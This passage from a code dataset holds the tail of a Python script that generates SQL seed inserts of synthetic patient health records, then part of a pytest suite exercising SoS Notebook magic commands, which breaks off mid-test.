items[rand_idx]\n\ndef getRandomFoodConsumption():\n items = [\"Breakfast\",\"Lunch\", \"Dinner\", \"Snack\"]\n rand_idx = random.randrange(len(items))\n return items[rand_idx]\n\ndef add_nutrition(c, dt):\n str = ''''''\n generic_healthy_nutrition = 1 if bool(c.generic_healthy_nutrition) == True else 0\n healthy_protein = 1 if bool(c.healthy_protein) == True else 0\n low_salt = 1 if bool(c.low_salt) == True else 0\n vegetables_servings = c.vegetables_servings\n fruit_servings = c.fruit_servings\n grains_servings = c.grains_servings\n sea_food_servings = c.sea_food_servings\n food_calories = c.food_calories\n sugary_drinks_servings = c.sugary_drinks_servings\n\n generic_nutrition_tag = '[\\\\\"GenericNutrition\\\\\"]'\n protein_tag = '[\\\\\"Protein\\\\\"]'\n salt_tag = '[\\\\\"Salt\\\\\"]'\n vegetables_tag = '[\\\\\"Vegetables\\\\\"]'\n fruit_tag = '[\\\\\"Fruit\\\\\"]'\n sugary_drinks_tag = '[\\\\\"Sugary drinks\\\\\"]'\n seafood_tag = '[\\\\\"Sea food\\\\\"]'\n grains_tag = '[\\\\\"Grains\\\\\"]'\n\n consumed_as = getRandomFoodConsumption()\n food = getRandomFood()\n\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, UserResponse, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = generic_nutrition_tag, v = generic_healthy_nutrition, created = dt, updated = dt)\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, UserResponse, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = protein_tag, v = healthy_protein, created = dt, updated = dt)\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, UserResponse, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = salt_tag, v = low_salt, created = dt, updated = dt)\n\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, Servings, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = vegetables_tag, v = vegetables_servings, created = dt, updated = dt)\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, Servings, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = grains_tag, v = grains_servings, created = dt, updated = dt)\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, Servings, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = fruit_tag, v = fruit_servings, created = dt, updated = dt)\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, Servings, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = sugary_drinks_tag, v = sugary_drinks_servings, created = dt, updated = dt)\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, FoodTypes, Servings, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{tag}', {v}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, tag = seafood_tag, v = sea_food_servings, created = dt, updated = dt)\n\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.nutrition_food_consumption (id, PatientUserId, Food, ConsumedAs, Calories, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{food}', '{consumed_as}', {calories}, '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, food = food, consumed_as = consumed_as, calories = food_calories, created = dt, updated = dt)\n\n out_file.write(str)\n\ndef add_body_weight(body_weight, dt):\n id = uuid.uuid4()\n str = '''INSERT INTO reancare_new.biometrics_body_weight (id, PatientUserId, BodyWeight, Unit, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{body_weight}', 'Kg', '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, body_weight = body_weight, created = dt, updated = dt)\n out_file.write(str)\n\ndef add_daily_sleep_hours(sleep, dt):\n id = uuid.uuid4()\n str = '''INSERT INTO reancare_new.daily_records_sleep (id, PatientUserId, SleepDuration, Unit, RecordDate, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{sleep}', 'hrs', '{record_date}', '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, sleep = sleep, record_date = dt, created = dt, updated = dt)\n out_file.write(str)\n\ndef add_physical_activity(movement, calories, dt):\n str = ''''''\n moved = 1 if bool(movement) == True else 0\n question = 'Did you add movement to your day today?'\n\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.exercise_physical_activities (id, PatientUserId, Category, PhysicalActivityQuestion, PhysicalActivityQuestionAns, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', 'Other', '{question}', '{answer}', '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, question = question, answer = moved, created = dt, updated = dt)\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.exercise_physical_activities (id, PatientUserId, Exercise, Category, CaloriesBurned, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', 'Push-up', 'Strength training', '{calories}', '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, calories = calories, created = dt, updated = dt)\n out_file.write(str)\n\ndef add_blood_pressure(systolic, diastolic, dt):\n str = ''''''\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.biometrics_blood_pressure (id, PatientUserId, Systolic, Diastolic, Unit, RecordDate, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{systolic}', '{diastolic}', 'mmHg', '{created}', '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, systolic = systolic, diastolic = diastolic, created = dt, updated = dt)\n out_file.write(str)\n\ndef add_blood_glucose(blood_glucose, dt):\n str = ''''''\n id = uuid.uuid4()\n str += '''INSERT INTO reancare_new.biometrics_blood_glucose (id, PatientUserId, BloodGlucose, Unit, RecordDate, CreatedAt, UpdatedAt) VALUES ('{id}', '{patient_user_id}', '{blood_glucose}', 'mgDL', '{created}', '{created}', '{updated}');\\n'''.format(id = id, patient_user_id = patient_user_id, blood_glucose = blood_glucose, created = dt, updated = dt)\n out_file.write(str)\n\ndef add_medication_consumption(medication_taken, dt):\n taken = 0\n missed = 0\n if medication_taken == 1:\n taken = 1\n missed = 0\n elif medication_taken == -1:\n taken = 0\n missed = 1\n else:\n taken = 0\n missed = 0\n id = uuid.uuid4()\n schedule = dt\n start = schedule.split(' ')[0] + ' 06:00:00'\n end = schedule.split(' ')[0] + ' 08:00:00'\n\n str = '''INSERT INTO reancare_new.medication_consumptions (id, PatientUserId, MedicationId, DrugName, DrugId, Dose, Details, TimeScheduleStart, TimeScheduleEnd, IsTaken, IsMissed, CreatedAt, UpdatedAt)\n VALUES ('{id}', '{patient_user_id}', '{medication_id}', '{drug_name}', '{drug_id}', '{dose}', '{details}', '{start}', '{end}', '{taken}', '{missed}', '{created}', '{updated}');\n \\n'''.format(\n id = id,\n patient_user_id = patient_user_id,\n medication_id = medication_id,\n drug_name = drug_name,\n drug_id = drug_id,\n dose = dose,\n details = medication_details,\n start = start,\n end = end,\n taken = taken,\n missed = missed,\n created = dt,\n updated = dt)\n out_file.write(str)\n\ndef add_contents(contents):\n count = 0\n today = datetime.today()\n for c in contents:\n count += 1\n day = today - timedelta(days=count)\n dt = day.strftime(\"%Y-%m-%d %H:%M:%S\")\n add_nutrition(c, dt)\n add_body_weight(c.body_weight, dt)\n add_daily_sleep_hours(c.daily_sleep_hours, dt)\n add_physical_activity(c.movement_today, c.physical_activity_calories, dt)\n add_medication_consumption(c.medication_taken, dt)\n add_blood_pressure(c.blood_pressure_systolic, c.blood_pressure_diastolic, dt)\n add_blood_glucose(c.blood_glucose, dt)\n\ndef seed_data():\n print('seeding patient stats data...')\n contents = read_json()\n add_contents(contents)\n\nif __name__ == '__main__':\n seed_data()\n out_file.close()\n", "repo_name": "inflection-zone/assessment-service", "sub_path": "scripts/test.data.seeders/patient.stats/patient_stats_seeder.py", "file_name": "patient_stats_seeder.py", "file_ext": "py", "file_size_in_byte": 10291, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 20, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 24, "usage_type": "call"}, {"api_name": "types.SimpleNamespace", "line_number": 24, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 29, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 34, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 61, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 63, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 65, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 68, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 70, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 72, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 74, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 76, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 79, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 85, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 90, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 99, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 101, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 107, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 113, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 129, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 154, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 154, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 157, "usage_type": "call"}]} {"seq_id": "18177359565", "text": "import os\nimport sys\nimport tempfile\n\nimport pytest\n\nfrom sos_notebook.test_utils import NotebookTest\n\n\nclass TestMagics(NotebookTest):\n\n def test_magic_in_subkernel(self, notebook):\n \"\"\"test %pwd in the python3 kernel (which is not a sos magic)\"\"\"\n assert len(notebook.check_output(\"%pwd\", kernel=\"Python3\")) > 0\n\n def test_help_messages(self, notebook):\n \"\"\"test help functions of magics\"\"\"\n for magic in (\n \"cd\",\n \"convert\",\n \"get\",\n \"matplotlib\",\n \"preview\",\n \"put\",\n \"render\",\n 'revisions',\n \"run\",\n \"runfile\",\n \"save\",\n \"sandbox\",\n \"sessioninfo\",\n \"sosrun\",\n \"shutdown\",\n \"task\",\n \"use\",\n \"with\",\n ):\n output = notebook.check_output(f\"%{magic} -h\", kernel=\"SoS\")\n # output does not have error\n assert magic in output\n\n def test_magic_capture(self, notebook):\n # test %capture\n # capture raw (default)\n notebook.call(\n \"\"\"\\\n %capture\n cat('this is to stdout')\n \"\"\",\n kernel=\"R\",\n )\n output = notebook.check_output('__captured', kernel='SoS')\n assert 'stream' in output and 'stdout' in output and 'this is to stdout' in output\n # specify raw\n notebook.call(\n \"\"\"\\\n %capture raw\n cat('this is to stdout')\n \"\"\",\n kernel=\"R\",\n )\n output = notebook.check_output('__captured', kernel='SoS')\n assert 'stream' in output and 'stdout' in output and 'this is to stdout' in output\n #\n # capture SoS execute_result (#220)\n notebook.call(\n \"\"\"\\\n %capture raw\n 'this is to texts'\n \"\"\",\n kernel=\"SoS\",\n )\n output = notebook.check_output('__captured', kernel='SoS')\n assert 'execute_result' in output and 'text/plain' in output and 'this is to texts' in output\n #\n # capture to variable\n assert (notebook.check_output(\n \"\"\"\\\n %capture stdout --to R_out\n cat('this is to stdout')\n \"\"\",\n kernel=\"R\",\n ) == \"this is to stdout\")\n #\n notebook.call(\"%capture stdout --to R_out \\n \", kernel=\"R\")\n assert notebook.check_output(\"R_out\", kernel=\"SoS\") == \"''\"\n #\n notebook.call(\n \"\"\"\\\n %capture text --to R_out\n paste('this is the return value')\n \"\"\",\n kernel=\"R\",\n )\n output = notebook.check_output(\"R_out\", kernel=\"SoS\")\n assert \"this is the return value\" in output\n #\n # capture as csv\n notebook.call(\n \"\"\"\\\n %capture stdout --as csv --to res\n print('a,b\\\\nc,d')\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"a\" in notebook.check_output(\"res\", kernel=\"SoS\")\n assert \"DataFrame\" in notebook.check_output(\"type(res)\", kernel=\"SoS\")\n #\n # capture as tsv\n notebook.call(\n \"\"\"\\\n %capture stdout --as tsv --to res\n print('a\\\\tb\\\\nc\\\\td')\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"a\" in notebook.check_output(\"res\", kernel=\"SoS\")\n assert \"DataFrame\" in notebook.check_output(\"type(res)\", kernel=\"SoS\")\n #\n # capture as json\n notebook.call(\n \"\"\"\\\n %capture stdout --as json --to res\n print('[1,2,3]')\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"[1, 2, 3]\" in notebook.check_output('res', kernel=\"SoS\")\n #\n # test append to str\n notebook.call(\n \"\"\"\\\n %capture stdout --to captured_text\n print('from sos')\n \"\"\",\n kernel=\"SoS\",\n )\n notebook.call(\n \"\"\"\\\n %capture stdout --append captured_text\n cat('from R')\n \"\"\",\n kernel=\"R\",\n )\n output = notebook.check_output(\"captured_text\", kernel=\"SoS\")\n assert 'from sos' in output and 'from R' in output\n assert 'str' in notebook.check_output(\n \"type(captured_text)\", kernel=\"SoS\")\n # test append to dataframe\n notebook.call(\n \"\"\"\\\n %capture stdout --as tsv --to table\n print('a\\\\tb\\\\n11\\\\t22')\n \"\"\",\n kernel=\"SoS\",\n )\n notebook.call(\n \"\"\"\\\n %capture stdout --as tsv --append table\n print('a\\\\tb\\\\n33\\\\t44')\n \"\"\",\n kernel=\"SoS\",\n )\n output = notebook.check_output(\"table\", kernel=\"SoS\")\n assert '11' in output and '22' in output and '33' in output and '44' in output\n assert 'DataFrame' in notebook.check_output(\"type(table)\", kernel=\"SoS\")\n\n def test_magic_cd(self, notebook):\n # magic cd that changes directory of all subfolders\n output1 = notebook.check_output(\n \"\"\"\\\n import os\n print(os.getcwd())\n \"\"\",\n kernel=\"Python3\",\n )\n notebook.call(\"%cd ..\", kernel=\"SoS\")\n output2 = notebook.check_output(\n \"\"\"\\\n import os\n print(os.getcwd())\n \"\"\",\n kernel=\"Python3\",\n )\n assert len(output1) > len(output2) and output1.startswith(output2)\n\n def test_magic_connectinfo(self, notebook):\n # test %capture\n assert \"Connection file\" in notebook.check_output(\n \"%connectinfo\", kernel=\"SoS\")\n\n def test_magic_debug(self, notebook):\n assert \"debug\" in notebook.check_output(\n \"\"\"\\\n %debug on\n %debug off\n \"\"\",\n kernel=\"SoS\",\n expect_error=True,\n )\n\n def test_magic_dict(self, notebook):\n # test %dict\n notebook.call(\n \"\"\"\\\n R_out = 1\n ran = 5\n \"\"\",\n kernel=\"SoS\",\n )\n output = notebook.check_output(\n \"\"\"\\\n %dict --keys\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"R_out\" in output and \"ran\" in output\n #\n assert \"r\" in notebook.check_output(\"%dict ran\", kernel=\"SoS\")\n #\n assert \"R_out\" not in notebook.check_output(\n \"\"\"\\\n %dict --reset\n %dict --keys\n \"\"\",\n kernel=\"SoS\",\n )\n\n def test_magic_expand(self, notebook):\n # test %expand\n notebook.call(\"par=100\", kernel=\"SoS\")\n assert \"A parameter {par} greater than 50 is specified.\" == notebook.check_output(\n \"\"\"\\\n cat('A parameter {par} greater than 50 is specified.');\n \"\"\",\n kernel=\"R\",\n )\n assert \"A parameter 100 greater than 50 is specified.\" == notebook.check_output(\n \"\"\"\\\n %expand\n if ({par} > 50) {{\n cat('A parameter {par} greater than 50 is specified.');\n }}\n \"\"\",\n kernel=\"R\",\n )\n assert \"A parameter 100 greater than 50 is specified.\" == notebook.check_output(\n \"\"\"\\\n %expand ${ }\n if (${par} > 50) {\n cat('A parameter ${par} greater than 50 is specified.');\n }\n \"\"\",\n kernel=\"R\",\n )\n assert \"A parameter 100 greater than 50 is specified.\" == notebook.check_output(\n \"\"\"\\\n %expand [ ]\n if ([par] > 50) {\n cat('A parameter [par] greater than 50 is specified.');\n }\n \"\"\",\n kernel=\"R\",\n )\n\n def test_magic_get(self, notebook):\n # test %get\n notebook.call(\n \"\"\"\\\n a = [1, 2, 3]\n b = [1, 2, '3']\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"[1, 2, 3]\" == notebook.check_output(\n \"\"\"\\\n %get a\n a\n \"\"\",\n kernel=\"Python3\",\n )\n assert \"[1, 2, 3]\" == notebook.check_output(\n \"\"\"\\\n %get a --as aa\n aa\n \"\"\",\n kernel=\"Python3\",\n )\n assert \"List of 3\" in notebook.check_output(\n \"\"\"\\\n %get b\n str(b)\n R_var <- 'R variable'\n \"\"\",\n kernel=\"R\",\n )\n assert \"R variable\" in notebook.check_output(\n \"\"\"\\\n %get --from R R_var\n R_var\n \"\"\",\n kernel=\"Python3\",\n )\n #\n # get with different variable names\n notebook.call(\n \"\"\"\\\n a = 1025\n _b_a = 22\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"1025\" == notebook.check_output(\n \"\"\"\\\n %get a\n b <- 122\n c <- 555\n a\n \"\"\",\n kernel=\"R\",\n )\n #\n assert \"22\" in notebook.check_output(\n \"\"\"\\\n %get _b_a\n .b_a\n \"\"\",\n kernel=\"R\",\n expect_error=True,\n )\n #\n # get from another kernel\n assert \"555\" in notebook.check_output(\n \"\"\"\\\n %get c --from R\n c\n \"\"\",\n kernel=\"R\",\n )\n\n def test_magic_get_between_subkernels(self, notebook):\n # test variable transfer between subkernels, which should not leave a trace in\n # SoS\n notebook.call(\n \"\"\"\\\n subs_a = 'sos_a'\n \"\"\",\n kernel=\"SoS\",\n )\n notebook.call(\n \"\"\"\\\n subs_a = 'python_a'\n subs_b = 'python_b'\n \"\"\",\n kernel=\"Python3\",\n )\n notebook.call(\n \"\"\"\\\n %get subs_a subs_b --from Python3\n \"\"\",\n kernel=\"R\",\n )\n assert 'sos_a' in notebook.check_output(\"subs_a\", kernel='SoS')\n assert 'NameError' in notebook.check_output(\n \"subs_b\", kernel='SoS', expect_error=True)\n #\n notebook.call(\n \"\"\"\\\n %get subs_b --from Python3 --as subr\n \"\"\",\n kernel=\"R\",\n )\n assert 'python_b' in notebook.check_output(\"subr\", kernel='R')\n\n def test_magic_matplotlib(self, notebook):\n # test %capture\n pytest.importorskip(\"matplotlib\")\n assert \"data:image/png;base64\" in notebook.check_output(\n \"\"\"\\\n %matplotlib inline\n\n import matplotlib.pyplot as plt\n import numpy as np\n x = np.linspace(0, 10)\n plt.plot(x, np.sin(x), '--', linewidth=2)\n plt.show()\n \"\"\",\n kernel=\"SoS\",\n selector=\"img\",\n attribute=\"src\",\n )\n\n def test_magic_render(self, notebook):\n # test %put from subkernel to SoS Kernel\n output = notebook.check_output(\n '''\\\n %render\n \"\"\"\n # header\n\n * item1\n * item2\n \"\"\"\n ''',\n kernel=\"SoS\",\n )\n assert \"header\" in output and 'item1' in output and 'item2' in output\n assert '# header' not in output and '* item1' not in output and '* item2' not in output\n # render wrong type from subkernel\n output = notebook.check_output(\n '''\\\n %render text\n cat(\"\\\\n# header\\\\n* item1\\\\n* item2\\\\n\")\n ''',\n kernel=\"R\",\n )\n assert \"header\" not in output and 'item1' not in output and 'item2' not in output\n # render correct type\n output = notebook.check_output(\n '''\\\n %render\n cat(\"\\\\n# header\\\\n* item1\\\\n* item2\\\\n\")\n ''',\n kernel=\"R\",\n )\n assert \"header\" in output and 'item1' in output and 'item2' in output\n #\n # test render as other types\n output = notebook.check_output(\n '''\\\n %render --as Latex\n \"\"\"\n $$c = \\\\sqrt{a^2 + b^2}$$\n \"\"\"\n ''',\n kernel=\"SoS\")\n assert \"c=\" in output and 'a2+b2' in output\n\n def test_magic_run(self, notebook):\n # test passing parameters and %run\n output = notebook.check_output(\n \"\"\"\\\n %run --floatvar 1 --test_mode --INT_LIST 1 2 3 --infile a.txt\n VAR = 'This var is defined without global.'\n\n [global]\n GLOBAL_VAR='This var is defined with global.'\n\n [step_1]\n CELL_VAR='This var is defined in Cell.'\n parameter: floatvar=float\n parameter: stringvar='stringvar'\n print(VAR)\n print(GLOBAL_VAR)\n print(CELL_VAR)\n print(floatvar)\n print(stringvar)\n\n [step_2]\n parameter: test_mode=bool\n parameter: INT_LIST=[]\n parameter: infile = path\n parameter: b=1\n print(test_mode)\n print(INT_LIST)\n print(infile.name)\n python: expand=True\n print({b})\n \"\"\",\n kernel=\"SoS\",\n )\n lines = output.splitlines()\n results = [\n \"This var is defined without global.\",\n \"This var is defined with global.\",\n \"This var is defined in Cell.\",\n \"1.0\",\n \"stringvar\",\n \"True\",\n \"['1', '2', '3']\",\n \"a.txt\",\n \"1\",\n ]\n for index, line in enumerate(lines):\n assert lines[index] == results[index]\n\n def test_magic_runfile(self, notebook):\n #\n notebook.call(\n \"\"\"\\\n %save check_run -f\n %run --var 1\n parameter: var=0\n python: expand=True\n print({var})\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"2\" == notebook.check_output(\n \"%runfile check_run --var=2\", kernel=\"SoS\")\n\n @pytest.mark.skipif(\n sys.platform == \"win32\" or \"TRAVIS\" in os.environ,\n reason=\"Skip test because of no internet connection or in travis test\",\n )\n def test_magic_preview_dot(self, notebook):\n output = notebook.check_output(\n '''\n %preview -n a.dot\n with open('a.dot', 'w') as dot:\n dot.write(\"\"\"\\\\\n graph graphname {\n a -- b -- c;\n b -- d;\n }\n \"\"\")\n ''',\n kernel=\"SoS\",\n selector=\"img\",\n )\n assert \"a.dot\" in output and \"data:image/png;base64\" in output\n\n def test_magic_preview_in_R(self, notebook):\n assert \"mtcars\" in notebook.check_output(\n \"\"\"\\\n %preview -n mtcars\n %use R\n \"\"\",\n kernel=\"R\",\n )\n\n def test_magic_preview_png(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %preview -n a.png\n R:\n png('a.png')\n plot(0)\n dev.off()\n \"\"\",\n kernel=\"SoS\",\n selector=\"img\",\n )\n assert \"a.png\" in output and \"data:image/png;base64\" in output\n\n def test_magic_preview_jpg(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %preview -n a.jp*\n R:\n jpeg('a.jpg')\n plot(0)\n dev.off()\n \"\"\",\n kernel=\"SoS\",\n selector=\"img\",\n )\n assert \"a.jpg\" in output and (\"data:image/jpeg;base64\" in output or\n \"data:image/png;base64\" in output)\n\n def test_magic_preview_pdf(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %preview -n a.pdf\n R:\n pdf('a.pdf')\n plot(0)\n dev.off()\n \"\"\",\n kernel=\"SoS\",\n selector=\"embed\",\n attribute=\"type\",\n )\n assert \"a.pdf\" in output and (\n \"application/x-google-chrome-pdf\" in output or\n \"application/pdf\" in output)\n\n @pytest.mark.xfail(\n reason='Some system has imagemagick refusing to read PDF due to policy reasons.'\n )\n def test_magic_preview_pdf_as_png(self, notebook):\n try:\n from wand.image import Image\n Image\n except ImportError:\n pytest.skip(\"Skip because imagemagick is not properly installed\")\n # preview as png\n output = notebook.check_output(\n \"\"\"\\\n %preview -n a.pdf -s png\n R:\n pdf('a.pdf')\n plot(0)\n dev.off()\n \"\"\",\n kernel=\"SoS\",\n selector=\"img\",\n )\n assert \"a.pdf\" in output and \"data:image/png;base64\" in output\n\n def test_magic_preview_var(self, notebook):\n assert \"> a: int\" in notebook.check_output(\n \"\"\"\\\n %preview -n a\n a=1\n \"\"\",\n kernel=\"SoS\",\n )\n\n def test_magic_preview_var_limit(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %preview var -n -l 5\n import numpy as np\n import pandas as pd\n var = pd.DataFrame(\n np.asmatrix([[i*10, i*10+1] for i in range(100)]))\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"var\" in output and \"41\" in output and \"80\" not in output\n\n # def test_magic_preview_var_scatterplot(self, notebook):\n # output = notebook.check_output('''\\\n # %preview mtcars -n -s scatterplot mpg disp --by cyl\n # %get mtcars --from R\n # ''', kernel=\"SoS\")\n\n # def test_magic_preview_var_scatterplot_tooltip(self, notebook):\n # output = notebook.check_output('''\\\n # %preview mtcars -n -s scatterplot _index disp hp mpg --tooltip wt qsec\n # %get mtcars --from R\n # ''', kernel=\"SoS\")\n\n # def test_magic_preview_var_scatterplot_log(self, notebook):\n # output = notebook.check_output('''\\\n # %preview mtcars -n -s scatterplot disp hp --log xy --xlim 60 80 --ylim 40 300\n # %get mtcars --from R\n # ''', kernel=\"SoS\")\n\n def test_magic_preview_csv(self, notebook):\n output = notebook.check_output(\n '''\\\n %preview -n a.csv\n with open('a.csv', 'w') as csv:\n csv.write(\"\"\"\\\n a,b,c\n 1,2,3\n 4,5,6\n \"\"\")\n ''',\n kernel=\"SoS\",\n )\n assert \"> a.csv\" in output and \" a b c \" in output\n\n def test_magic_preview_txt(self, notebook):\n output = notebook.check_output(\n '''\\\n %preview -n a.txt\n with open('a.txt', 'w') as txt:\n txt.write(\"\"\"\\\n hello\n world\n \"\"\")\n ''',\n kernel=\"SoS\",\n )\n assert \"> a.txt\" in output and \"2 lines\" in output\n\n def test_magic_preview_zip(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %preview -n a.zip\n import zipfile\n with open('a.csv', 'w') as tmp:\n tmp.write('blah')\n with zipfile.ZipFile('a.zip', 'w') as zfile:\n zfile.write('a.csv')\n \"\"\",\n kernel=\"SoS\",\n )\n import time\n time.sleep(20)\n assert \"> a.zip\" in output and \"1 file\" in output and \"a.csv\" in output\n\n def test_magic_preview_tar(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %preview -n a.tar\n import tarfile\n with open('a.csv', 'w') as tmp:\n tmp.write('blah')\n with tarfile.open('a.tar', 'w') as tar:\n tar.add('a.csv')\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"> a.tar\" in output and \"1 file\" in output and \"a.csv\" in output\n\n def test_magic_preview_tar_gz(self, notebook):\n output = notebook.check_output(\n \"\"\"\\\n %preview -n a.tar.gz\n import tarfile\n with open('a.csv', 'w') as tmp:\n tmp.write('blah')\n with tarfile.open('a.tar.gz', 'w:gz') as tar:\n tar.add('a.csv')\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"> a.tar.gz\" in output and \"1 file\" in output and \"a.csv\" in output\n\n def test_magic_preview_gz(self, notebook):\n output = notebook.check_output(\n '''\\\n %preview -n a.gz\n import gzip\n\n with gzip.open('a.gz', 'w') as gz:\n gz.write(b\"\"\"\n Hello\n world\n \"\"\")\n ''',\n kernel=\"SoS\",\n )\n assert \"> a.gz\" in output and \"Hello\" in output and \"world\" in output\n\n def test_magic_preview_md(self, notebook):\n output = notebook.check_output(\n '''\\\n %preview -n a.md\n with open('a.md', 'w') as md:\n md.write(\"\"\"\\\n # title\n\n * item1\n * item2\n \"\"\")\n ''',\n kernel=\"SoS\",\n )\n assert \"> a.md\" in output and \"title\" in output and \"item2\" in output\n\n def test_magic_preview_html(self, notebook):\n output = notebook.check_output(\n '''\\\n %preview -n a.html\n with open('a.html', 'w') as dot:\n dot.write(\"\"\"\\\n \n \n \n\n

My First Heading

\n\n

My first paragraph.

\n\n \n \n \"\"\")\n ''',\n kernel=\"SoS\",\n )\n assert (\"> a.html\" in output and \"My First Heading\" in output and\n \"My first paragraph\" in output)\n\n def test_magic_put(self, notebook):\n # test %put from subkernel to SoS Kernel\n notebook.call(\n \"\"\"\\\n %put a b c R_var\n a <- c(1)\n b <- c(1, 2, 3)\n R_var <- 'R variable'\n \"\"\",\n kernel=\"R\",\n )\n\n assert \"1\" in notebook.check_output(content=\"a\", kernel=\"SoS\")\n\n assert \"[1, 2, 3]\" in notebook.check_output(content=\"b\", kernel=\"SoS\")\n\n assert \"R variable\" in notebook.check_output(\n content=\"R_var\", kernel=\"SoS\")\n\n # test %put from SoS to other kernel\n #\n notebook.call(\n \"\"\"\\\n %put a1 b1 --to R\n a1 = 123\n b1 = 'this is python'\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"123\" in notebook.check_output(content=\"cat(a1)\", kernel=\"R\")\n\n assert \"this is python\" in notebook.check_output(\n content=\"cat(b1)\", kernel=\"R\")\n #\n # test put variable with invalid names\n notebook.call(\n \"\"\"\\\n %put .a.b\n .a.b <- 22\"\"\",\n kernel=\"R\",\n expect_error=True,\n )\n assert \"22\" == notebook.check_output(\"_a_b\", kernel=\"SoS\")\n\n #\n # test independence of variables\n notebook.call(\n \"\"\"\\\n %put my_var --to R\n my_var = '124'\n \"\"\",\n kernel=\"SoS\",\n )\n assert \"'124'\" == notebook.check_output(\"my_var\", kernel=\"R\")\n\n notebook.call(\"my_var = 'something else'\", kernel=\"R\")\n assert 